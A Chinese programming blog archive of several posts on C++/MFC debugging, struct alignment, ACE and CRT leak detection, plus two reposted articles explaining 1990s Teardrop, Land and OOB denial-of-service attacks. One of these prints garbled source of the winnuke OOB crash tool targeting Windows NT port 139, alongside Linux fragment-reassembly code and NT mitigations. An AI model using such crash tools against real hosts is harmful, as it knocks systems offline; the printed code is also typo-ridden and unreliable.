#pragma pack(push,1)与#pragma pack(1)的区别
TinyXML是开源的XML操作库,很好用,以前都是在VC6中使用,使用也很正常,没出现任何问题.
最近把以前的代码升级到VS2008下,运行常出现堆栈溢出,莫名其秒的堆释放崩溃.
搞得人都快疯了,后来发现是在代码中使用了对齐的原因,为了进一步确定问题,新建一个工程,只引用tinyxml.h并定义一个结构采用#pragma pack(push,1)对齐,一运行就会出现崩溃......
而采用
#pragma pack(1)
#pragma pack()
则一切正常
由HEAP Corruption DETECTED查到的
我从CWinThread类上派生了一个类CGameSocket,从CGameSocket类上派生了CSocketThread类
我new CSocketThread类,然后在退出时delete this;
VC2005 Debug模式运行时报
HEAP Corruption DETECTED。。。。。错误,就在delete this那里,从新运行程序并在new的地方和delete this那里下断点,发现在DEBUG模式下在堆中new对象时C++编译器会在new到的指针前后各放4字节的0xFD,在delete时检查前后的值是否为0xFD,如果不为0xFD则出现内存溢出。有问题就跟踪到C++的源码中去,你会发现很多平常调试时学不到的东西.
虽然发现这个“密秘”了,但是我的问题还是没有解决,再跟踪,我发现在new对象时,new完(也就是构造函数执行完了),我看了一下new返回的指针前后的内存数据,尾部的前面3个0xFD被清0了,OK,再重新运行,跟入到构造函数中去,发现在对一个成员变量进行清0时,会碰到那3个值,很奇怪,在内部对成员变量进行赋值操作会改到内存以外的值。。。郁闷中。。。百思不得其解,后来sizeof了类的大小,发现不是默认的4字节对齐,在类中,有几个成员变量,都是DWORD的,要不就是指针,只有一个BYTE成员,就出在这个BYTE成员上,找了老长时间的问题终于找到了,总算安心了。睡了,有写的了再写。。。
2008年1月20日
2007年5月14日
[转]在MFC中的文档视图中对视图使用RichEdit2--来自CodeGuru
The following is an example of rich edit2.0 based on the default SD rich edit project.
Please email me for source code.
1.revise PreCreateWindows
BOOL CRich20DocViewView::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
// return CRichEditView::PreCreateWindow(cs);
m_strClass="RichEdit20A";
BOOL nR=CRichEditView::PreCreateWindow(cs);
LoadLibraryA("RICHED20.DLL");
return nR;
}
2. revise OnDestory
void CRich20DocViewView::OnDestroy()
{
// Deactivate the item on destruction; this is important
// when a splitter view is being used.
// CRichEditView::OnDestroy();
COleClientItem* pActiveItem = GetDocument()->GetInPlaceActiveItem(this);
if (pActiveItem != NULL && pActiveItem->GetActiveView() == this)
{
pActiveItem->Deactivate();
ASSERT(GetDocument()->GetInPlaceActiveItem(this) == NULL);
}
CRichEditView::OnDestroy();
}
3. Enable auto URL detect in OnInitialUpdate()
long lENM=GetRichEditCtrl().GetEventMask();
lENM|=ENM_LINK;
GetRichEditCtrl().SetEventMask(lENM);
BOOL bEnable=1;
::SendMessage(m_hWnd,EM_AUTOURLDETECT,bEnable,0);
4. URL left-button_dwon open with notify message
ON_NOTIFY_REFLECT_EX(EN_LINK, OnLink )
afx_msg void OnLink( NMHDR* in_pNotifyHeader, LRESULT* out_pResult );
void CRich20DocViewView::OnLink( NMHDR* in_pNotifyHeader, LRESULT* out_pResult )
{
ENLINK * pLink=(ENLINK*) in_pNotifyHeader;
if(pLink->msg==WM_LBUTTONDOWN)
{
GetRichEditCtrl().SetSel(pLink->chrg);
CString str=GetRichEditCtrl().GetSelText();
ShellExecute( this->GetSafeHwnd(), _T( "open" ), str, NULL, NULL, SW_SHOWNORMAL ) ;
}
}
5. To print correctly, revise OnPrint. Without the following, there might be a non-stop print with blank pages)
void CRich20DocViewView::OnPrint(CDC* pDC, CPrintInfo* pInfo)
{
// TODO: Add your specialized code here and/or call the base class
ASSERT_VALID(this);
ASSERT_VALID(pDC);
ASSERT(pInfo != NULL);
ASSERT(pInfo->m_bContinuePrinting);
UINT nPage = pInfo->m_nCurPage;
ASSERT(nPage <= (UINT)m_aPageStart.GetSize());
long nIndex = (long) m_aPageStart[nPage-1];
// print as much as possible in the current page.
nIndex = PrintPage(pDC, nIndex, 0xFFFFFFFF);
//nIndex got above hasn't take "return" into account
//The following codes add nIndex when there are any new lines
int nLength=GetTextLength();
CString strRich;
GetRichEditCtrl().GetWindowText(strRich);
int nS=0;
while(nS!=-1)
{
nS=strRich.Find("/r/n",nS);
if(nS!=-1)
{
nLength--;
nS++;
}
}
//END adding nIndex
//other error that might cause non-stop print
if(m_nIndex==nIndex)
nLength-=10000;
m_nIndex=nIndex;
//end other erro
if (nIndex >= nLength)//GetTextLength()
{
TRACE0("End of Document/n");
pInfo->SetMaxPage(nPage);
}
// update pagination information for page just printed
if (nPage == (UINT)m_aPageStart.GetSize())
{
if (nIndex < nLength)//GetTextLength()
m_aPageStart.Add(nIndex);
}
else
{
ASSERT(nPage+1 <= (UINT)m_aPageStart.GetSize());
ASSERT(nIndex == (long)m_aPageStart[nPage+1-1]);
}
// CRichEditView::OnPrint(pDC, pInfo);
}
2007年5月11日
关于CStdioFile奇怪的"错误"
今天要分析一个数据文件,数据太多了,手工分析易错且麻烦就自已写了一个工具,来进行自动转换,为了方便,使用了CStdioFile,因为它有ReadString函数,后来感觉处理方式不行,就换成结构一次读取64个字节,结果打开处理结果的文件一看,只有512个字节,好怪,文件根本没有读完,有点摸不着头脑了,试着把CStdioFile换成CFile,重新编译,运行,OK,好奇怪的问题,莫非是BUG?
2007年5月9日
[转]利用处理程序错误攻击(下)
创建时间:2000-06-03
文章属性:转载
文章来源:红色力量
文章提交:
xundi
(xundi_at_xfocus.org)
从红色力量中转载--见我们的连接
利用处理程序错误攻击(下)
3 Land攻击工具
Land也是一个很厉害的攻击工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行
攻击,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应,
tenlnet命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land攻击cisco路由器的一番描述:
“当攻击端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外
部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择
只有来一个硬重启动。“
可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。
更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可攻击的对象竟然包括了相当多的
操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。
更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的攻击端口
的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可
以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有
打过“补丁”,对自己的系统打“补丁”确实是当务之急。
4 OOB攻击工具
5.1 攻击代码
OOB是一种专门攻击Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的
安全性。
/* winnuke.c – (05/07/97) BY –ECI */
/* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */
#include
#include
#include
#include
#include
#include
#include
#define dport 139 /*Attack port; 139 is what we want */
int x,s;
char str =”Bye”; /Makes no diff */
struct sockaddr-in addr, spoofedaddr;
atruct hostent *host;
int opdn-sock(int scok, char *server,int port) {
struct sockaddr-in blah;
struct hostent *he;
bzero ((char*) &blah,sizeof(blah));
blah.sin-family=AF-INET;
blah.sin-addr.s-addf=inet-addf(server);
blah.sin-port=htons(port);
if((he=gethostbyname(server)) ! =NULLL) {
bcopy(he->addr,(char*)&blah.sin-addr,he->h-length);
}
else {
if ((blah.sin-addr =inet-addr (server)) <0) {
return(-3);
}
}
if (connect (sock,(struct sockaddr *)&blah,16)==-1) {
perror(“cinnect()”);
close(sock);
retuen(-4);
}
void main (int argc,char *argv[]) {
if (argc !=2) {
printf(“Usage: %s
exit(0);
}
if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) {
PERROR (“socket()”);
Exyt(-1);
}
open-sock(s,argv[1],dport);
printf(“Sending crash …”);
send (s, str, atrldn (str),MSG-OOB);
usleep (100000);
printf(“Done!/n”);
close(s);
}
10.5.2 一些临时措施
目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了,
第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。
方法一:
1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。
2. 打开[显示绑定属于]列表,选择[所有适配器]。
3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。
4. 单击[禁用]按钮。
5. 确认后,重新启动系统。
需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。
这是正常的,而且每次启动时都会有。
方法二:
1. 进入[控制面板],找到[设备]图标。
2. 到列表的底部,找到[WINS客户(TCP/IP)]。
3. 单击[停止]按钮,然后单击[关闭]按钮。
4. 重启系统。
这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。
所以要与系统管理员联系,以决定这样做是否必要
方法三:
Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包
进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。
1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。
2. 在IP地址表中,选择[高级]按扭。
3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。
4. 单击[确定],然后退出,重启动系统。
2007年5月8日
[转]TCP/IP攻击原理分析总结
由于TCP/IP协议是Internet的基础协议,所以对TCP/IP协议的完善和改进是非常必要的。TCP/IP协议从开始设计时候并没有考虑到现在网络上如此多的威胁,由此导致了许多形形色色的攻击方法,一般针对协议原理的攻击(尤其是DDOS)我们无能为力。现将TCP/IP攻击的常用原理介绍如下:
(1) 源地址欺骗(Source Address Spoofing)、IP欺骗(IP Spoofing)和DNS欺骗(DNS Spoofing).其基本原理:是利用IP地址并不是出厂的时候与MAC固定在一起的,攻击者通过自封包和修改网络节点的IP地址,冒充某个可信节点的IP地址,进行攻击。主要有三种手法:
1. 瘫痪真正拥有IP的可信主机,伪装可信主机攻击服务器;
2. 中间人攻击;
3. DNS欺骗(DNS Spoofing)和“会话劫持”(Session Hijack);
(2) 源路由选择欺骗(Source Routing Spoofing)。原理:利用IP数据包中的一个选项-IP Source Routing来指定路由,利用可信用户对服务器进行攻击,特别是基于UDP协议的由于其是面向非连接的,更容易被利用来攻击;
(3) 路由选择信息协议攻击(RIP Attacks)。原理:攻击者在网上发布假的路由信息,再通过ICMP重定向来欺骗服务器路由器和主机,将正常的路由器标志为失效,从而达到攻击的目的。
(4) TCP序列号欺骗和攻击(TCP Sequence Number Spoofing and Attack),基本有三种:
1. 伪造TCP序列号,构造一个伪装的TCP封包,对网络上可信主机进行攻击;
2. SYN攻击(SYN Attack)。这类攻击手法花样很多,蔚为大观。但是其原理基本一致,让TCP协议无法完成三次握手协议;
3. Teardrop攻击(Teardrop Attack)和Land攻击(Land Attack)。原理:利用系统接收IP数据包,对数据包长度和偏移不严格的漏洞进行的。
[转]利用处理程序错误攻击(上)
文章属性:转载
文章提交:
xundi
(xundi_at_xfocus.org)
在本章,将要介绍一些利用TCP/IP协议的处理程序中错误进行攻击的原理、方法以及一些防范对策。
这些攻击包括当前流行的Teardrop和Land攻击。
利用协议实现的攻击方法,都是故意错误地设定数据包头的一些重要字段,例如,IP包头部的Total
Length、Fragment offset、IHL和Source address等字段。使用Raw Socket将这些错误的IP数据包
发送出去。在接受数据端,接收程序通常都存在一些问题,因而在将接受到的数据包组装成一个完整
的数据包的过程中,就会使系统当机、挂起或系统崩溃。
在最后,是一个服务程序错误而导致攻击的例子:OOB。
在本章,我们将结合一些程序来讨论这种攻击能够实施的原理的同时,读者也可以使用这些程序来检
查自己系统针对这类攻击的安全程度,并采取相应的措施。
1 攻击的现象及其后果
使用了Windows 95和Windows 98 NT的人们都经历过系统陷入混乱,对任何输入都没有响应的情况。
这时候,屏幕出现蓝屏,迟迟无法重新刷新。按下Ctrl+Alt+Del时,看到系统CPU利用率达到100%,
同时显示一个应用程序无响应。这是程序出错或者使用了盗版软件的缘故。
通过网络,也可以使正在使用的计算机出现这种无响应、死机的现象。事实上,大量的程序往往经
不住人们恶意的攻击。
人们已经使用了许多方法来专门对付上网的Windows 95和Windows NT。目前,能够对Windows 95和
Windows NT进行攻击的方法很多,当前流行的有:tearDrop(也称为“泪滴”)、OOB、Land和Ping of Death
等。其中,关于Ping of Death在缓冲区溢出一章中对这种攻击做了介绍,并给出了一些对策。
一般的攻击过程是这样的:当入侵者发现了一台Windows 95或者Windows NT(这只需用端口扫描工具扫一
下就可以辨认出来),便用一个OOB或者TearDrop攻击,再次用ping命令时,目标主机就没有响应了。事
实上,这些攻击并不是局限于Windows NT和Windows 95平台,一些攻击,如Land已被发现对Linux、Cisco
路由器以及其他大量的UNIX操作系统都具有相当的攻击能力。
能够实施这种攻击的原因是在Windows 95和Windows NT中存在错误,这是一种处理TCP/IP协议或者服务程
序的错误。人们利用这些错误。通过给端口送一些故意弄错的数据包,在这个数据包的偏移字段和长度字
段,写入一个过大或过小的值。Windows 95和Windows NT都不能处理这个情况,然后Windows 95就先变成
蓝屏,Windows NT是非死机不可。据称TearDrop可以使被攻击的主机立刻当机。
这些攻击的危险性在于可以通过网络发起攻击,当攻击者发现了一台上网的Windows 95、Windows NT或者
Linux操作系统主机时,只需启动这一程序,输入入口参数假冒IP、端口号,被攻击主机的IP地址和端口号,
便可以发起攻击了。通常是Linux一遭到攻击就当机,而Windows在受到十几次攻击之后也会死机。这时候,
用ping命令,被攻击的主机就再也没有回应了。
服务程序存在错误的情况是很多的,例如,Windows NT中的RPC服务存在漏洞。某个用户可以远程登录到
Windows NT 3。5x或者服务器的端口135,并任意输入10个字符,然后回车,切断连接。这便可以使目标
主机的CPU利用率达到100%。虽然一个简单的重启动就消除了这个问题,但毕竟这是很讨厌的,是系统安
全的重要隐患并严重地影响系统性能。
对于OOB攻击,人们已经提出一些对策,如在Windows NT 4.0 中,呆以对发到端口若悬河39的包进行过滤
等,都需要对系统的网络设置进行一番配置,来分别处理拔号上网和使用LAN的情况。
目前网上已经出现补丁程序,用来对付这些攻击方法的攻击。在 Windows 95和Windows NT上的安装非常
简单,只需运行一下安装包即可。
在没有找到补丁程序之前,也可能性安装一个PC防火墙。该工具非常有效,例如,当禁止从主机的所有端
口发出数据包,同时禁止数据包发向本主机的所有端口时,实际上已将本主机应用层的服务功能和访问功
能切断。此时,虽然可以ping通一台有帐户和口令的UNIX主机,但却地法登上(telnet)该主机或从该主
机用ftp取回文件。
可以用该工具来过滤发向本主机一些端口(例如139)的数据包。
2 泪滴(TearDrop)攻击工具
这个攻击工具起名为泪滴,它确实可以让人们恨得咬牙切齿。
当辛苦的劳动成果突然因为一次莫名其妙的当机而化为乌有。也许,这次当机便是一个人随意地向你的计
算机动了一次小小的攻击所致。
这个攻击利用的是系统在实现时的一个错误,我们以Linux上的一个实现为例,也就是说,某些Linux操作
系统也是脆弱的,我们也可以用这种方法攻击Linux操作系统。
Linux操作系统在它的IP数据包重装模块有一个严重的错误,更确切一点地说,是在ip-glue()函数中。
当Linux收到一个个IP包,送到IP层进行组装,以形成发送端原来的IP包时,它将进入了一个循环中,将
接收队列中的一个个数据包中的有效数据,拷贝到一个新分配的缓冲区中。
这段代码如下:
fp = qp->fragments;
while (fp ! =NULL)
{
if (count +fp ->len >skb ->len)]
{
error-to-big;
}
memcpy (ptr + fp ->offaet ), fp-> ptr, fp->len);
count +=fp ->len;
fp =fp->next;
}
在程序中,检查了每段数据是否过长,因为如果数据部分过长,将会向内核拷贝过多的数据,引起内核
发生某种危险。然而在程序中并没有检查包中有效数据的长度是否过分小,例如,当表示包中数据长度
的变量变成了一个负数时(例如 fp->len<0),对这种情况,并没有进行检查,结果是系统将过多的数据
拷贝到内核中去。
以下,让我们看看Linux是如何将收到的IP数据加入到组装队列中去的。
计算这一fragmrnt的终结位置:
/*
l Determine the position of this fragmrment.
l /
end =offset +ntohs(iph ->tot-len) –ihl;
在正常情况下一切也正常。但是,当我们精心准备这样的数据包,让前后包中的“fragment offset”字
段交叠在一起,会发生什么呢?
看看程序对“fragment offset”做了那些处理:
if (prev != NULL&& offset
{
I =prev->end –offset;
Offset +=I : /*ptr into datagram */
Ptr += I /* ptr into fragment data */
}
如果我们发现当前包的段偏移在前一包数据内部,也就是说根据偏移字段的值,前后两数据包的数据部
分有重叠。组装程序试图正确对齐它们的边界。程序代码如上所示。这一步是对的。除非当前包中的有
效数据碰巧没有足够的数据来满足对齐的要求。在这种情况下,“offset”域中的值将会比“ end”域
中的值大。这两个数值被交给“ip-frag-create()”模块,在这个模块中,将会计算当前包的长度。
/* Fill in the structure. */
fp->offset =offset;
fp->end =end;
fp->len =end –offset;
在这种极少见的情况下,计算出来的fp-len竟变成了一个负数,于是memcpy()最终将会把大量的数据拷贝
到内核中,因为memcpy()中的记数器是一个反码,是一个非常大的数值。根据使用的内存管理机制的不同,
将会引起系统重启动或停机。
这种情况完全可以通过编程来实现,例如可以发送两个特殊的数据包,第一个包中的“offset”域置为0,
包中有效数据(IP数据)长度为N,MF位置1。第二个包中MF位置0,“offset”为一个小于N的数,包中的
IP数据也少于N。
当将收到的两个数据包组装时,先将第一个数据包拷贝到一个缓冲区中去,然后拷贝第二个数据包。因为
next->offset
cur ->offset =next ->offset +(pre->end-next->offest);
cur ->end =next ->offest +(next->iph ->tot-len)-ihl);
cur ->len =cur->end-cur->offest;
当ntohs(next->iph->tot-len)-ihl<(pre->end-next->offset)时,错误就发生了。这时候,cur->len为
负数。
在正常情况下,无法预言这种情况是否会发生,发生的频率如何。但是在人为的情况下,尤其是在一处故
意的情况下,那就一定会发生的。
人们可以自己编写发送raw数据包的程序。在数据包中,从IP包头开始,都可以填入自己想要的任意数值。
而我们使用软件并不能处理这类非常复杂的情况。事实上,即使对软件曾经进行了详细的测试,也很难说
会发现这种错误。
当前的许多Linux的实现中都有这个错误,向Linux发送很少几个这样的数据包,便可以引起Linux当机,
因为通常这种IP包重组和缓冲区开在系统核心态,缓冲区溢出将使系统崩溃。同样地,向Windows 95、
Windows NT发送10-15个这样的包,也会引起死机。
现在在网上已经出现了大量类似这样的程序,这些攻击的方法依然是对一些字段使用错误的值,但和
“泪滴”相反,将段偏移字段写入一个大于头的长度的数值或者伪造UDP的长度,直到伪造为真实长度的
两倍。或者将原来专门攻击53端口的程序改造为可以攻击一系列端口。
ACE学习笔记--持续更新中
1.动态获得端口号:
ACE_Asynch_Acceptor<Receiver> acceptor;
ACE_INET_Addr addr= ACE_INET_Addr("HAStatus");
if (acceptor.open (addr,
initial_read_size,
1) == -1)
return -1;
2.获得动态分配的端口号:
ACE_SOCK_SEQPACK_Association a=ACE_SOCK_SEQPACK_Association(acceptor.get_handle());
size_t addr_size=1;
a.get_local_addrs(&addr,addr_size);
ACE_DEBUG ((LM_DEBUG,"port:%d/n",addr.get_port_number()));
3.ACE在MFC中的使用
在程序运行之前调用 ACE::init();
在程序结束运行时调用 ACE::fini();
必须这样做,不然会出现通信不正常
4.ACE_InputCDR和ACE_OutputCDR
字节错位的解决办法
ACE_OutputCDR out(mb);
out << ?? ; //这种方法简称out
例一:
如果out 了一个short再out一个long
字节将成为如下排列(16进制) xx xx ?? ?? xx xx xx xx
其中,问号部分即是因为在long写入时进行的按long长度对齐。该数据是无意义的
例二:
如果out了一个char再out一个 short
字节将成为如下排列 xx ?? xx xx
其中,问号部分即是因为在short写入时进行的按short长度对齐。该数据是无意义的
例三:
如果out了一个short再out一个char
字节将成为如下排列 xx xx xx
这里输入的char不会造成对齐问题,因为char只有一个字节(都是倍数)
例四:
如果out了一个short再out一个char 再out 一个 long
字节将成为如下排列 xx xx xx ?? xx xx xx xx
按照以上可总结出,每out一个类型的数据时,输出流将自动按照这个输入类型的长度序对齐,如果没有对齐,则自动填充。
解决办法:
A.全部用一种类型,比如全部用ACE_CDR::ULong
B.
打开ACE_ROOT/ace/config.h文件,加入以下一句
#define ACE_LACKS_CDR_ALIGNMENT
重新编译ACE,将新的lib加入工程
5.ACE与MFC混用时的内存泄漏
out << (ACE_CDR::UShort)1;
out << (ACE_CDR::Long)2;
ACE_LOG_MSG->log_hexdump( LM_DEBUG , mb->base() , out.length() , "t");
2007年4月20日
[转]VC使用CRT调试功能来检测内存泄漏
C/C++ 编程语言的最强大功能之一便是其动态分配和释放内存,但是中国有句古话:“最大的长处也可能成为最大的弱点”,那么 C/C++ 应用程序正好印证了这句话。在 C/C++ 应用程序开发过程中,动态分配的内存处理不当是最常见的问题。其中,最难捉摸也最难检测的错误之一就是内存泄漏,即未能正确释放以前分配的内存的错误。偶尔发生的少量内存泄漏可能不会引起我们的注意,但泄漏大量内存的程序或泄漏日益增多的程序可能会表现出各种 各样的征兆:从性能不良(并且逐渐降低)到内存完全耗尽。更糟的是,泄漏的程序可能会用掉太多内存,导致另外一个程序垮掉,而使用户无从查找问题的真正根源。此外,即使无害的内存泄漏也可能殃及池鱼。
幸运的是,Visual Studio 调试器和 C 运行时 (CRT) 库为我们提供了检测和识别内存泄漏的有效方法。下面请和我一起分享收获——如何使用 CRT 调试功能来检测内存泄漏?
一、如何启用内存泄漏检测机制
VC++ IDE 的默认状态是没有启用内存泄漏检测机制的,也就是说即使某段代码有内存泄漏,调试会话的 Output 窗口的 Debug 页不会输出有关内存泄漏信息。你必须设定两个最基本的机关来启用内存泄漏检测机制。
一是使用调试堆函数:
#define _CRTDBG_MAP_ALLOC
#include<stdlib.h>
#include<crtdbg.h>
注意:#include 语句的顺序。如果更改此顺序,所使用的函数可能无法正确工作。
通过包含 crtdbg.h 头文件,可以将 malloc 和 free 函数映射到其“调试”版本 _malloc_dbg 和 _free_dbg,这些函数会跟踪内存分配和释放。此映射只在调试(Debug)版本(也就是要定义 _DEBUG)中有效。发行版本(Release)使用普通的 malloc 和 free 函数。#define 语句将 CRT 堆函数的基础版本映射到对应的“调试”版本。该语句不是必须的,但如果没有该语句,那么有关内存泄漏的信息会不全。
二是在需要检测内存泄漏的地方添加下面这条语句来输出内存泄漏信息:
_CrtDumpMemoryLeaks();
当在调试器下运行程序时,_CrtDumpMemoryLeaks 将在 Output 窗口的 Debug 页中显示内存泄漏信息。比如: Detected memory leaks!
Dumping objects ->
C:/Temp/memleak/memleak.cpp(15) : {45} normal block at 0x00441BA0, 2 bytes long.
Data: <AB> 41 42
c:/program files/microsoft visual studio/VC98/include/crtdbg.h(552) : {44} normal
block at 0x00441BD0, 33 bytes long.
Data: < C > 00 43 00 CD CD CD CD CD CD CD CD CD CD CD CD CD
c:/program files/microsoft visual studio/VC98/include/crtdbg.h(552) : {43} normal
block at 0x00441C20, 40 bytes long.
Data: < C > 08 02 43 00 16 00 00 00 00 00 00 00 00 00 00 00
Object dump complete.
如果不使用 #define _CRTDBG_MAP_ALLOC 语句,内存泄漏的输出是这样的:
Detected memory leaks!
Dumping objects ->
{45} normal block at 0x00441BA0, 2 bytes long.
Data: <AB> 41 42
{44} normal block at 0x00441BD0, 33 bytes long.
Data: < C > 00 43 00 CD CD CD CD CD CD CD CD CD CD CD CD CD
{43} normal block at 0x00441C20, 40 bytes long.
Data: < C > C0 01 43 00 16 00 00 00 00 00 00 00 00 00 00 00
Object dump complete.
根据这段输出信息,你无法知道在哪个源程序文件里发生了内存泄漏。下面我们来研究一下输出信息的格式。第一行和第二行没有什么可说的,从第三行开始:
xx}:花括弧内的数字是内存分配序号,本文例子中是 {45},{44},{43};
block:内存块的类型,常用的有三种:normal(普通)、client(客户端)或 CRT(运行时);本文例子中是:normal block;
用十六进制格式表示的内存位置,如:at 0x00441BA0 等;
以字节为单位表示的内存块的大小,如:32 bytes long;
前 16 字节的内容(也是用十六进制格式表示),如:Data: 41 42 等;
仔细观察不难发现,如果定义了 _CRTDBG_MAP_ALLOC ,那么在内存分配序号前面还会显示在其中分配泄漏内存的文件名,以及文件名后括号中的数字表示发生泄漏的代码行号,比如:
C:/Temp/memleak/memleak.cpp(15)
双击 Output 窗口中此文件名所在的输出行,便可跳到源程序文件分配该内存的代码行(也可以选中该行,然后按 F4,效果一样) ,这样一来我们就很容易定位内存泄漏是在哪里发生的了,因此,_CRTDBG_MAP_ALLOC 的作用显而易见。
使用 _CrtSetDbgFlag
如果程序只有一个出口,那么调用 _CrtDumpMemoryLeaks 的位置是很容易选择的。但是,如果程序可能会在多个地方退出该怎么办呢?在每一个可能的出口处调用 _CrtDumpMemoryLeaks 肯定是不可取的,那么这时可以在程序开始处包含下面的调用:_CrtSetDbgFlag ( _CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF
;这条语句无论程序在什么地方退出都会自动调用 _CrtDumpMemoryLeaks。注意:这里必须同时设置两个位域标志:_CRTDBG_ALLOC_MEM_DF 和 _CRTDBG_LEAK_CHECK_DF。
设置 CRT 报告模式
默认情况下,_CrtDumpMemoryLeaks 将内存泄漏信息 dump 到 Output 窗口的 Debug 页, 如果你想将这个输出定向到别的地方,可以使用 _CrtSetReportMode 进行重置。如果你使用某个库,它可能将输出定向到另一位置。此时,只要使用以下语句将输出位置设回 Output 窗口即可:
_CrtSetReportMode( _CRT_ERROR, _CRTDBG_MODE_DEBUG
;
有关使用 _CrtSetReportMode 的详细信息,请参考 MSDN 库关于 _CrtSetReportMode 的描述。
二、解释内存块类型
前面已经说过,内存泄漏报告中把每一块泄漏的内存分为 normal(普通块)、client(客户端块)和 CRT 块。事实上,需要留心和注意的也就是 normal 和 client,即普通块和客户端块。
1.normal block(普通块):这是由你的程序分配的内存。
2.client block(客户块):这是一种特殊类型的内存块,专门用于 MFC 程序中需要析构函数的对象。MFC new 操作符视具体情况既可以为所创建的对象建立普通块,也可以为之建立客户块。
3.CRT block(CRT 块):是由 C RunTime Library 供自己使用而分配的内存块。由 CRT 库自己来管理这些内存的分配与释放,我们一般不会在内存泄漏报告中发现 CRT 内存泄漏,除非程序发生了严重的错误(例如 CRT 库崩溃)。
除了上述的类型外,还有下面这两种类型的内存块,它们不会出现在内存泄漏报告中:
1.free block(空闲块):已经被释放(free)的内存块。
2.Ignore block(忽略块):这是程序员显式声明过不要在内存泄漏报告中出现的内存块。
三、如何在内存分配序号处设置断点
在内存泄漏报告中,的文件名和行号可告诉分配泄漏的内存的代码位置,但仅仅依赖这些信息来了解完整的泄漏原因是不够的。因为一个程序在运行时,一段分配内存的代码可能会被调用很多次,只要有一次调用后没有释放内存就会导致内存泄漏。为了确定是哪些内存没有被释放,不仅要知道泄漏的内存是在哪里分配的,还要知道泄漏产生的条件。这时内存分配序号就显得特别有用——这个序号就是文件名和行号之后的花括弧里的那个数字。
例如,在本文例子代码的输出信息中,“45”是内存分配序号,意思是泄漏的内存是你程序中分配的第四十五个内存块:
Detected memory leaks!
Dumping objects ->
C:/Temp/memleak/memleak.cpp(15) : {45} normal block at 0x00441BA0, 2 bytes long.
Data: <AB> 41 42
......
Object dump complete.
CRT 库对程序运行期间分配的所有内存块进行计数,包括由 CRT 库自己分配的内存和其它库(如 MFC)分配的内存。因此,分配序号为 N 的对象即为程序中分配的第 N 个对象,但不一定是代码分配的第 N 个对象。(大多数情况下并非如此。)这样的话,你便可以利用分配序号在分配内存的位置设置一个断点。方法是在程序起始附近设置一个位置断点。当程序在该点中断时,可以从 QuickWatch(快速监视)对话框或 Watch(监视)窗口设置一个内存分配断点:
例如,在 Watch 窗口中,在 Name 栏键入下面的表达式:
_crtBreakAlloc
如果要使用 CRT 库的多线程 DLL 版本(/MD 选项),那么必须包含上下文操作符,像这样:
{,,msVCrtd.dll}_crtBreakAlloc
现在按下回车键,调试器将计算该值并把结果放入 Value 栏。如果没有在内存分配点设置任何断点,该值将为 –1。
用你想要在其位置中断的内存分配的分配序号替换 Value 栏中的值。例如输入 45。这样就会在分配序号为 45 的地方中断。
在所感兴趣的内存分配处设置断点后,可以继续调试。这时,运行程序时一定要小心,要保证内存块分配的顺序不会改变。当程序在指定的内存分配处中断时,可以查看 Call Stack(调用堆栈)窗口和其它调试器信息以确定分配内存时的情况。如果必要,可以从该点继续执行程序,以查看对象发生了什么情况,或许可以确定未正确释放对象的原因。
尽管通常在调试器中设置内存分配断点更方便,但如果愿意,也可在代码中设置这些断点。为了在代码中设置一个内存分配断点,可以增加这样一行(对于第四十五个内存分配):
_crtBreakAlloc = 45;
你还可以使用有相同效果的 _CrtSetBreakAlloc 函数:
_CrtSetBreakAlloc(45);
四、如何比较内存状态
定位内存泄漏的另一个方法就是在关键点获取应用程序内存状态的快照。CRT 库提供了一个结构类型 _CrtMemState。你可以用它来存储内存状态的快照:
_CrtMemState s1, s2, s3;
若要获取给定点的内存状态快照,可以向 _CrtMemCheckpoint 函数传递一个 _CrtMemState 结构。该函数用当前内存状态的快照填充此结构:
_CrtMemCheckpoint( &s1
;
通过向 _CrtMemDumpStatistics 函数传递 _CrtMemState 结构,可以在任意地方 dump 该结构的内容:
_CrtMemDumpStatistics( &s1
;
该函数输出如下格式的 dump 内存分配信息:
0 bytes in 0 Free Blocks.
75 bytes in 3 Normal Blocks.
5037 bytes in 41 CRT Blocks.
0 bytes in 0 Ignore Blocks.
0 bytes in 0 Client Blocks.
Largest number used: 5308 bytes.
Total allocations: 7559 bytes.
若要确定某段代码中是否发生了内存泄漏,可以通过获取该段代码之前和之后的内存状态快照,然后使用 _CrtMemDifference 比较这两个状态:
_CrtMemCheckpoint( &s1
;// 获取第一个内存状态快照
// 在这里进行内存分配
_CrtMemCheckpoint( &s2
;// 获取第二个内存状态快照
// 比较两个内存快照的差异
if ( _CrtMemDifference( &s3, &s1, &s2)
_CrtMemDumpStatistics( &s3
;// dump 差异结果
